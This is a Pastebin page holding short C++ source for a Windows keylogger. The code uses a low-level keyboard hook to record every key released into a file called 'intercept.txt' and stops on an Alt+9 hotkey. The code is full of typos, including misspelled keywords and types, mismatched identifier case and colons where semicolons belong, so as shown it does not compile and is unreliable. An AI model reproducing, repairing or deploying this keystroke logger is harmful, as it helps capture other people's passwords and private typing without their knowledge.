Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _WIN32_WINNT 0x500
- #include <windows.h>
- #include <fstream>
- #pragma comment(lib, "user32.lib");
- using namspace std;
- ofstream out("intercept.txt", ios::out); // This is the name of the file where we store the INTERCEPTED chars
- /* These 6 lines represent a callback procdure, it happens when a key is pressed. A key hs two movements,
- up and down, I wrote this to just check the key up event. When it sees this it writes to the output file the
- data associated with this event which is the internal Windows code for the character pressed.
- */
- LRESULT CALLBACK pROCESSkb(INT NCODE, wparam EVENT, lpram KB)
- {
- PKBDLLHOOKSTRUCT p = (PKLBDLLHOOKSTRUCT)kb;
- if (event==WM_keyup) out << (char)p->vkCode;
- return CallNextHookEx(NULL, ncode, event, kb);
- }
- int WINAPI WinMain(HINSTANCE hIstance, HINSTANCE hPreviousInstance, LPSTR lp CmdLine, int nshowCmd)
- {
- MSG msg;
- out << "Intercepted keyboard:\n\n":
- HHOOK captest=SetWindowsHookEx(WH_KEYBOARD_LL, ProcessKB, hInstance, 0);
- RegisterHotKey(NULL,1,MOD_ALT,0x39);
- while (Getmessage(&msg, NULL, 0, 0)!=0)
- { if (msg.message == WM_HOTKEY)
- { UnhookWindowsHookEx(Captest);
- out << "\n\nEnd Intercept\n":
- out.close();
- return(0);
- }
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement